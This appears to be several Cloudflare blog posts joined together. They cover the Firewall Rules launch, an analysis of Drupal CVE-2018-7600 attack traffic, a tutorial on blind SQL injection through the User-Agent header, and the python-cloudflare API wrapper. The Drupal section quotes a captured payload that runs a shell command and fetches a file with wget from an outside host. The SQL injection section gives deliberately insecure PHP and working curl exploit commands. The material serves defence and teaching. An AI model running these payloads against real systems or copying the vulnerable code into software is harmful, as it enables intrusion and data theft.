It’s very hard to patch systems quickly enough to ensure that attackers don’t get through, so products like Cloudflare’s WAF are a vital line of defense against these emerging vulnerabilities.

Threat landscapes change every second. As attackers evolve, becoming more dynamic and devious, vulnerabilities materialize faster than engineers can patch their applications. Part of Cloudflare’s mission is to keep you and your applications safe. Today, Cloudflare is launching a new feature, giving customers what they have been requesting - fine-grained control over their incoming requests.

Cloudflare already offers a number of powerful firewall tools such as IP rules, CIDR rules, ASN rules, country rules, HTTP user-agent blocking, Zone Lockdown (for these URIs only allow traffic from those IPs), and our comprehensive managed rules within our WAF (Web Application Firewall). But sometimes, you need to combine the power of these to fully mitigate an attack, and to express a block rule that breaks the boundaries of the existing tools, to be able to “block traffic to this URI when the request comes from that IP and the user-agent matches one of these”.

© Stefano Kocka : Source Wikipedia

Common themes arose when we spoke to customers about their needs and also reviewed feature requests that our customer support team had seen, and we categorised the top pieces of feedback and feature requests into three core needs:

1. More flexibility to create a firewall rule that matches more than just a single attribute, like an IP address and User-Agent

2. Flexibility to not only exactly match an attribute, but also partially match it, through using a string or a pattern, for example User-Agent: *Firefox*

3. Complete self-service control through the UI and Cloudflare’s public API, even for the most complex firewall rules

The team worked together to investigate what a fresh approach to our firewall would look like, with one overarching mission being front and center: build a Swiss Army knife of firewalls for our customers. Our key objectives were to:

1. Provide a tool to give customers flexible and granular control of their traffic

2. Maintain a smooth and intuitive user-experience, something we thrive on delivering

3. Ensure it is accessible and usable by all of our customers, regardless of user skill or business size

Cloudflare’s new capability, Firewall Rules, provides customers the ability to control requests, in a flexible and intuitive way, inspired by the widely known Wireshark®  language. Configuration of rules can be done through not only our Dashboard and API, but also through Terraform (link here).

The Firewall Rules engine can be thought of as 2 components:

• Matching: define a filter that runs globally and precisely matches your traffic

• Action: declare the action Cloudflare should apply when the filter is matched

Simply put, when the filter matches, apply the action.

Cloudflare Firewall Rules gives customers access to properties of the HTTP request, including referer, user-agent, cookies, Cloudflare Threat Score (IP reputation score), and more.

All of the supported headers can be matched by many operators, including, a partial match (contains), complete string or integer match (equals), and for our Business and Enterprise customers, pattern matching (matches). Yes, you read that right, we now offer pattern matching using Regular Expressions, directly through the Dashboard and API!

The great thing about Firewall Rules is the flexibility for Cloudflare to field options; for example, Cloudflare’s Threat Intelligence, which drives our Security Level functionally on the Dashboard, will be an available field for customers. One of the most important fields Cloudflare is introducing is our cf.client.bot field, which verifies known good bots via reverse DNS. In our initial release, we provide customers access to the general classification of “Known Good Bots”. Details on the list of these bots can be found here. Cloudflare has historically allowlisted Google on behalf of our customers, and utilised Web Application Firewall rules, which are only available to Pro customers and above, to block spoofed crawlers. With Firewall Rules, all customers now have access to these protections. As Cloudflare has removed the allowlisting capability, it is important that customers include simply cf.client.bot in an Allowed rule, to avoid inadvertently blocking good crawlers which could affect your SEO and monitoring.

All of the standard Cloudflare actions such as JavaScript Challenge, Challenge and Block are available.

There is one new addition to the standard mitigation list, which is the allow action, which provides a customer the ability to create Rule to say “if this criteria is matched, stop processing further rules”.

Sure, here’s four cool examples that we see being used today. Advanced or nested rules are not supported in the Visual Rule Builder today. These are noted below each rule.                                                                                                            

Example 1 - Challenge all countries except GBSupported: Visual Builder, Expression EditorThis can be done using our IP Firewall but would require 150+ rules!

(ip.geoip.country ne "GB")

Example 2 - Advanced Hotlink ProtectionSupported: Visual Builder, Expression EditorCloudflare’s built-in hotlink protection can be restrictive for some customers as it does not provide abilities to bypass certain paths. This also can sometimes catch legitimate crawlers.

(http.request.method eq "GET" and http.referer ne ".example.com" and not http.user_agent matches "(googlebot|facebook)" and http.request.uri.path eq "/content/")

Example 3 - Blocking Clients with a Threat Score greater than 10 or Clients originating from an abusive network by AS Number, to my Login pageSupported: Expression EditorOne of the great things about Firewall Rules is that we have provided you access to cf.threat_score, which is what powers the Security Level within the dashboard today.

(http.request.uri.path eq "/login" and (cf.threat_score < 10 or ip.geoip.asnum eq 12345))

Example 4 - Zone Lockdown-like-Use case utilising Regular Expression, IP address CIDRs, Country Code and AS Numbers to protect authentication endpoints via both Wordpress website, and an API.Supported: Expression EditorZone Lockdown is a great tool; however, it is limited for some critical use cases. Here’s something quite crazy to demonstrate the flexibility:

((http.host eq "api.example.com" and http.request.uri.path eq "/api/v2/auth") or (http.host matches "^(www|store|blog)\.example.com" and http.request.uri.path contains "wp-login.php") or ip.geoip.country in {"CN" "TH" "US" "ID" "KR" "MY" "IT" "SG" "GB"} or ip.geoip.asnum in {12345 54321 11111}) and not ip.src in {11.22.33.0/24}
111

This is an awesome addition to the Firewall, as it provides our customers a way to choose between running a Positive Security policy (allow specific requests and deny everything else) or a Negative Security policy (block specific requests and allow everything else).

Cloudflare default for Firewall Rules is an implicit allow all. The great thing about this method of working is being able to block just the bad stuff. Whilst this is a very effective and efficient way of running a firewall, it causes a number of challenges. By letting all traffic through, your security operations have to be reactive when issues arise.

What the security industry has been pushing is a concept of "Zero Trust". Just as it sounds, Zero Trust means you trust nothing, and everything that comes through has to have some kind of justification. To create a "Zero Trust" security policy, you have to reverse the way your firewall default policy works, i.e. changing the last action from allow to block - aka. a positive security policy. Before today, this was not possible; however with Firewall Rules, now you can.

One of the biggest concerns about giving customers power, is delivering that power safely and effectively. The product design and UI engineering team worked through multiple iterations to create a powerful but approachable rule builder and editor. The team spent a number of months working through a number of iterations to create solid rule builder and a rule editor solution without cluttering or complicating the UI.

Pete Thomas, our Lead Designer on the new Firewall UI took us back to basics running paper prototyping sessions to test and discover how rules are built and managed.

Below is a photo of myself and Matthew Bullock, one of our London Solutions Engineers, going through the testing process.

Through the design process, we wanted to focus on why customers would need Firewall Rules. The results were simple, create proactive defensive rules, to secure an application, and reactive rules, to protect applications that were being attacked.

Within the Visual Rule Builder, we have provided customers an intuitive way to create Firewall Rules, whilst not restricting access to the core functionality. The future roadmap delivers more flexible grouping through the Visual Builder. However, we do have an option for more complex requirements or nested Firewall Rules. These can be created within the Rule Editor, which is based on our Wireshark®-inspired language that allows you to take expressions created in Wireshark and create Firewall Rules. David Kitchen, the Engineering Manager responsible for developing Firewall Rules will be writing a blog in the coming weeks detailing why we chose a Wireshark®-inspired DSL for our filter expressions. For a list of supported fields, head over to our documentation.  

Two weeks after adding protection with WAF rule ID D0003 which mitigates the critical remote code execution Drupal exploit (SA-CORE-2018-002/CVE-2018-7600), we have seen significant spikes of attack attempts. Since the 13th of April the Drupal security team has been aware of automated attack attempts and it significantly increased the security risk score of the vulnerability. It makes sense to go back and analyse what happened in the last seven days in Cloudflare’s WAF environment.

The vulnerability potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could make a site completely compromised.

Drupal introduced renderable arrays, which are a key-value structure, with keys starting with a ‘#’ symbol, that allows you to alter data during form rendering. These arrays however, did not have enough input validation. This means that an attacker could inject a custom renderable array on one of these keys in the form structure.

Cloudflare implemented a WAF rule that would identify malicious requests and block them. We block malicious payloads in GET requests, POST requests and Cookies, which matches the patch made to drupal itself.

Just during last week, after removing false positives, the rule has blocked more than 500,000 potential attacks, especially at the start of the sample date, when the vulnerability was more recent.

Apart from that, we are seeing more than 250 unique IPs per day, mostly IPv4 but also some IPv6 addresses.

Our analysis shows that most of the attempts are built with a POST request, trying to exploit the ‘mail’ field, with the following being the most used ones:

MAIL[#POST_RENDER]
MAIL[#MARKUP]
NAME[#POST_RENDER]

We also found some interesting attack attempts, in which the attacker tried to inject a renderable array on the name field that would copy and download a specific file with access details into a site belonging to the attacker on a most probably compromised domain.

/q=user/password&name[#post_render[]=system&name[#type]=markup&name[#markup]= chmod 0644 ./sites/default/files/.htaccess;cp/dev/null./sites/default
/files/.htaccess;mkdir./sites/default/files/temp/;wget -P ./sites/default/
files/temp/http://[REDACTED]/blog/wpcontent/uploads/2017/01/example.sites.php;echo"@!!%@"

The number of blocked requests does not seem to be going down and we keep blocking more than 56,000 potential attacks per day.

Drupal Advisory: https://www.drupal.org/sa-core-2018-002

A sample request looked liked this:

GET / HTTP/1.1
Host: www.example.com
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; Win64; x64; Trident/5.0)'+(select*from(select(sleep(20)))a)+' 
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8,fr;q=0.6

As I said, a simple request for the homepage of the web site, which at first glance doesn’t look suspicious at all. Unless your take a look at the User-Agent header (its value is the string that identifies the browser being used):

Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; Win64; x64; Trident/5.0)'+(select*from(select(sleep(20)))a)+

The start looks reasonable (it’s apparently Microsoft Internet Explorer 11) but the agent strings ends with '+(select*from(select(sleep(20)))a)+. The attacker is attempting a SQL injection inside the User-Agent value.

It’s common to see SQL injection in URIs and form parameters, but here the attacker has hidden the SQL query select * from (select(sleep(20))) inside the User-Agent HTTP request header. This technique is commonly used by scanning tools; for example, sqlmap will try SQL injection against specific HTTP request headers with the -p option.

Many SQL injection attempts try to extract information from a website (such as the names of users, or their passwords, or other private information). This SQL statement is doing something different: it’s asking the database that’s processing the request to sleep for 20 seconds.

CC BY-SA 2.0 image by Dr Braun

This is a form of blind SQL injection. In a common SQL injection the output of the SQL query would be returned to the attacker as part of a web page. But in a blind injection the attacker doesn’t get to see the output of their query and so they need some other way of determining that their injection worked.

Two common methods are to make the web server generate an error or to make it delay so that the response to the HTTP request comes back after a pause. The use of sleep means that the web server will take 20 seconds to respond and the attacker can be sure that a SQL injection is possible. Once they know it’s possible they can move onto a more sophisticated attack.

To illustrate how this might work I created a really insecure application in PHP that records visits by saving the User-Agent to a MySQL database. This sort of code might exist in a real web application to save analytics information such as number of visits.

In this example, I’ve ignored all good security practices because I want to illustrate a working SQL injection.

BAD CODE: DO NOT COPY/PASTE MY CODE!

Here’s the PHP code:

<?php

$link = new mysqli('localhost', 'insecure', '1ns3cur3p4ssw0rd', 'analytics');

$query = sprintf("INSERT INTO visits (ua, dt) VALUES ('%s', '%s')",
       $_SERVER["HTTP_USER_AGENT"],
       date("Y-m-d h:i:s"));

$link->query($query);

?>

<html><head></head><body><b>Thanks for visiting</b></body></html>

It connects to a local MySQL database and selects the analytics database and then inserts the user agent of the visitor (which comes from the User-Agent HTTP header and is stored in $_SERVER["HTTP_USER_AGENT"]) into the database (along with the current date and time) without any sanitization at all!

This is ripe for a SQL injection, but because my code doesn’t report any errors the attacker won’t know they managed an injection without something like the sleep trick.

To exploit this application it’s enough to do the following (where insecure.php is the script above):

curl -A "Mozilla/5.0', (select*from(select(sleep(20)))a)) #" http://example.com/insecure.php

This sets the User-Agent HTTP header to Mozilla/5.0', (select*from(select(sleep(20)))a)) #. The poor PHP code that creates the query just inserts this string into the middle of the SQL query without any sanitization so the query becomes:

INSERT INTO visits (ua, dt) VALUES ('Mozilla/5.0', (select*from(select(sleep(20)))a)) #', '2016-05-17 03:16:06')

The two values to be inserted are now Mozilla/5.0 and the result of the subquery (select*from(select(sleep(20)))a) (which takes 20 seconds). The # means that the rest of the query (which contains the inserted date/time) is turned into a comment and ignored.

In the database an entry like this appears:

+---------------------+---------------+
| dt                  | ua            |
+---------------------+---------------+
| 0                   | Mozilla/5.0   |
+---------------------+---------------+

Notice how the date/time is 0 (the result of the (select*from(select(sleep(20)))a)) and the user agent is just Mozilla/5.0. Entries like that are likely the only indication that an attacker had succeeded with a SQL injection.

Here’s what the request looks like when it runs. I’ve used the time command to see how long the request takes to process.

$ time curl -v -A "Mozilla/5.0', (select*from(select(sleep(20)))a) #" http://example.com/insecure.php
* Connected to example.com port 80 (#0)
> GET /insecure.php HTTP/1.1
> Host: example.com
> User-Agent: Mozilla/5.0', (select*from(select(sleep(20)))a) #
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Mon, 16 May 2016 10:45:05 GMT
< Content-Type: text/html
< Transfer-Encoding: chunked
< Connection: keep-alive
< Server: nginx

<html><head></head><body><b>Thanks for visiting</b></body></html>
* Connection #0 to host example.com left intact

real   0m20.614s
user   0m0.007s
sys    0m0.012s

It took 20 seconds. The SQL injection worked.

At this point you might be thinking “that’s neat, but doesn’t seem to enable an attacker to hack the web site”.

Unfortunately, the richness of SQL means that this chink in the insecure.php code (a mere 3 lines of PHP!) lets an attacker go much further than just making a slow response happen. Even though the INSERT INTO query being attacked only writes to the database it’s possible to turn this around and extract information and gain access.

CC BY 2.0 image by Scott Schiller

As an illustration I created a table in the database called users containing a user called root and a user called john. Here’s how an attacker might discover that there is a john user. They can craft a query that works out the name of a user letter by letter just by looking at the time a request takes to return.

For example,

curl -A "Mozilla/5.0', (select sleep(20) from users where substring(name,1,1)='a')) #" http://example.com/insecure.php

returns immediately because there are no users with a name starting with a. But

curl -A "Mozilla/5.0', (select sleep(20) from users where substring(name,1,1)='j')) #" http://example.com/insecure.php

takes 20 seconds. The attacker can then try two letters, three letters, and so on. The same technique can be used to extract other data from the database.

If my web app was a little more sophisticated, say, for example, it was part of a blogging platform that allowed comments, it would be possible to use this vulnerability to dump the contents of an entire database table into a comment. The attacker could return and display the appropriate comment to read the table's contents. That way large amounts of data can be exfiltrated.

The better way to write the PHP code above is as follows:

<?php

$link = new mysqli('localhost', 'analytics_user', 'aSecurePassword', 'analytics_db');

$stmt = $link->prepare("INSERT INTO visits (ua, dt) VALUES (?, ?)");
$stmt->bind_param("ss", $_SERVER["HTTP_USER_AGENT"], date("Y-m-d h:i:s"));
$stmt->execute();

?>

<html>
<head></head>
<body><b>Thanks for visiting</b></body>

This prepares the SQL query to perform the insertion using prepare and then binds the two parameters (the user agent and the date/time) using bind_param and then runs the query with execute.

bind_param ensures that the special SQL characters like quotes are escaped correctly for insertion in the database. Trying to repeat the injection above results in the following database entry:

+---------------------+----------------------------------------------------+
| dt                  | ua                                                 |
+---------------------+----------------------------------------------------+
| 2016-05-17 04:46:02 | Mozilla/5.0',(select*from(select(sleep(20)))a)) #  |
+---------------------+----------------------------------------------------+

The attacker's SQL statement has not turned into a SQL injection and has simply been stored in the database.

SQL injection is a perennial favorite of attackers and can happen anywhere input controlled by an attacker is processed by a web application. It's easy to imagine how an attacker might manipulate a web form or a URI, but even HTTP request headers are vulnerable. Literally any input the web browser sends to a web application should be considered hostile.

We saw the same attacker use many variants on this theme. Some tried to make the web server respond slowly using SQL, others using Python or Ruby code (to see if the web server could be tricked into running that code).

CloudFlare's WAF helps mitigate attacks like this with rules to block injection of SQL statements and code.

Using the CloudFlare API via Python

Very early on in the company’s history we decided that everything that CloudFlare does on behalf of its customer-base should be controllable via an API. In fact, when you login to the CloudFlare control panel, you’re really just making API calls to our backend services. Over time that API has matured and improved. We are now on v4 of that API.

The current CloudFlare API is documented here and it’s used by both the CloudFlare control panel and directly by umpteen customers every minute of every day. The new API is designed with a clean naming structure and consistent data representation for data. It’s also extensible.

This blog entry introduces python-cloudflare, a Python wrapper providing full access to the CloudFlare v4 API.

Let’s get right into the thick-of-it with the simplest coding example available to show python-cloudflare in action. This example lists all your domains (zones) and also checks some basic features for each zone.

#!/usr/bin/env python
import CloudFlare
def main():
    cf = CloudFlare.CloudFlare()
    zones = cf.zones.get(params={'per_page':50})
    for zone in zones:
        zone_name = zone['name']
        zone_id = zone['id']
        settings_ipv6 = cf.zones.settings.ipv6.get(zone_id)
        ipv6_on = settings_ipv6['value']
        print zone_id, ipv6_on, zone_name
    exit(0)
if __name__ == '__main__':
    main()

The structure of the CloudFlare class matches the API documentation. The CloudFlare.zones.get() method returns information about the zones as per the list zones documentation. The same for CloudFlare.zones.settings.ipv6.get() and its documentation.

Data is passed into the methods via standard Python structures and they are returned in Python structures that match the API documentation. That means if you see an API call in the documentation, then you can translate it into the Python code in a one-to-one manner.

For example, take a look at the WAF list rules API call.

This codes into CloudFlare.zones.dns_records.post() method with the zone_id as the first argument, the package_id as the second argument and the optional parameters passed last (or if there aren’t any; then just drop the third argument for the call). Because this is a GET call there’s a .get() as part of the method name.

    r = cf.zones.firewall.waf.packages.rules.get(zone_id, package_id, params=params)

Here’s the much simpler Create DNS record API call.

This would be coded into the Python method CloudFlare.zones.dns_records.post() with the zone_id as the first argument and the required parameters passed as data. Because this is a POST call there’s a .post() as part of the method name.

    r = cf.zones.dns_records.post(zone_id, data=dns_record)

Here’s an example of that Create DNS record call in action. In this code, we add two records to an existing zone. We also show how the error is handled (in classic Python style).

    zone_name = 'example.com'
    try:
        r = cf.zones.get(params={'name': zone_name})
    except CloudFlare.CloudFlareAPIError as e:
        exit('/zones.get %s - %d %s' % (zone_name, e, e))
    except Exception as e:
        exit('/zones.get %s - %s' % (zone_name, e))
   zone_id = r['id']
   # DNS records to create
    dns_records = [
        {'name':'foo', 'type':'A',    'content':'192.168.100.100'}
        {'name':'foo', 'type':'AAAA', 'content':'2001:d8b::100:100'},
    ]
    for dns_record in dns_records:
        try:
            r = cf.zones.dns_records.post(zone_id, data=dns_record)
        except CloudFlare.CloudFlareAPIError as e:
            exit('/zones.dns_records.post %s - %d %s' % (record['name'], e, e))

There’s a whole folder of example code available on the GitHub repository.

As we stated above (and as CloudFlare has done many times before) we have placed this code up on GitHub for anyone to download and use. We welcome contributions and will review any pull requests. To install it, just clone it and follow the README instructions. For those that just want to get going right now; here’s the tl;dr install:

$ git clone https://github.com/cloudflare/python-cloudflare
$ cd python-cloudflare
$ ./setup.py build
$ sudo ./setup.py install

Not only do you get the python API calls, you also get a fully functioning CLI (command line interface) that allows quick creation of scripts that interface with CloudFlare.

From the CLI command you can call any of the CloudFlare API calls. The command responds with the returned JSON data. If you want to filter the results you possibly also want to install the highly-versatile jq command. Here’s a command to check the nameservers for a specific domain hosted on CloudFlare and then process it via jq.

$ cli4 name=example.com /zones | jq -c '.[]|{"name_servers":.name_servers}'
{
  "name_servers":[
    "alice.ns.cloudflare.com",
    "bob.ns.cloudflare.com"
  ]
}
$

The CLI command will convert on-the-fly zone names into zone identifiers. For example; if you want to check the DNSSEC status on a zone your operate on CloudFlare; then use this command.

$ cli4 /zones/:example.com/dnssec | jq '{"status":.status,"ds":.ds}'
{
  "status": "active",
  "ds": "example.com. 3600 IN DS 2371 13 2 00000000000000000000000000000 ..."
}
$

You can issue GET PUT POST PATCH or DELETE calls into the API. You can pass data into a CloudFlare API call with the CLI command. All documented via the README.md and wiki examples in GitHub.

Here’s a useful command for customers that need to flush their cache files.

$ cli4 --delete purge_everything=true /zones/:example.com/purge_cache
{
  "id":"d8afaec3dd2b7f8c1b470e594a21a01d"
}
$

See how the commands arguments match the purge_cache API documentation.

Finally, here’s an example of turning on DNSSEC via the API.

$ cli4 --patch status=active /zones/:example.com/dnssec | jq -c '{"status":.status}'
{"status":"pending"}
$

There are plenty more examples available within the GitHub repo.

Python isn’t the only language you can use to interact with CloudFlare’s API. If you’re a Go, or Node.js user, we also have client libraries you can use to interact with CloudFlare on our GitHub. Find them here Go client and here Node.js client. Want to write something in a different language? Feel free to do that. The API spec is online and ready for you to code up.

If you like what you read here today and are interested in joining one of CloudFlare’s software teams, then checkout our Join Our Team page.